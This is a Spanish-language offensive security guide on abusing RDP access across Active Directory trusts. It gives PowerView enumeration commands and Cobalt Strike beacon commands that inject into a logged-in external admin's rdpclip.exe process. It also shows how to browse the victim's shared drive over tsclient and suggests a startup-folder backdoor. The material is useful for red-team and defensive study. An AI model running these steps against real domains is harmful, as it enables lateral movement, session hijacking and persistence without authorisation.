## Inyección de Proceso RDP
|
|
|
|
Si el **grupo externo** tiene **acceso RDP** a cualquier **computadora** en el dominio actual, un **atacante** podría **comprometer esa computadora y esperar por él**.
|
|
|
|
Una vez que ese usuario haya accedido a través de RDP, el **atacante puede pivotar a esa sesión de usuario** y abusar de sus permisos en el dominio externo.
|
|
```powershell
|
|
# Supposing the group "External Users" has RDP access in the current domain
|
|
## lets find where they could access
|
|
## The easiest way would be with bloodhound, but you could also run:
|
|
Get-DomainGPOUserLocalGroupMapping -Identity "External Users" -LocalGroup "Remote Desktop Users" | select -expand ComputerName
|
|
#or
|
|
Find-DomainLocalGroupMember -GroupName "Remote Desktop Users" | select -expand ComputerName
|
|
|
|
# Then, compromise the listed machines, and wait til someone from the external domain logs in:
|
|
net logons
|
|
Logged on users at \\localhost:
|
|
EXT\super.admin
|
|
|
|
# With cobalt strike you could just inject a beacon inside of the RDP process
|
|
beacon> ps
|
|
PID PPID Name Arch Session User
|
|
--- ---- ---- ---- ------- -----
|
|
...
|
|
4960 1012 rdpclip.exe x64 3 EXT\super.admin
|
|
|
|
beacon> inject 4960 x64 tcp-local
|
|
## From that beacon you can just run powerview modules interacting with the external domain as that user
|
|
```

|
## RDPInception
|
|
|
|
Si un usuario accede a través de **RDP a una máquina** donde un **atacante** lo está **esperando**, el atacante podrá **inyectar un beacon en la sesión RDP del usuario** y si la **víctima montó su unidad** al acceder a través de RDP, el **atacante podría acceder a ella**.
|
|
|
|
En este caso, simplemente podría **comprometer** la **computadora original de la víctima** escribiendo un **backdoor** en la **carpeta de inicio**.
|
|
```powershell
|
|
# Wait til someone logs in:
|
|
net logons
|
|
Logged on users at \\localhost:
|
|
EXT\super.admin
|
|
|
|
# With cobalt strike you could just inject a beacon inside of the RDP process
|
|
beacon> ps
|
|
PID PPID Name Arch Session User
|
|
--- ---- ---- ---- ------- -----
|
|
...
|
|
4960 1012 rdpclip.exe x64 3 EXT\super.admin
|
|
|
|
beacon> inject 4960 x64 tcp-local
|
|
|
|
# There's a UNC path called tsclient which has a mount point for every drive that is being shared over RDP.
|
|
## \\tsclient\c is the C: drive on the origin machine of the RDP session
|
|
beacon> ls \\tsclient\c
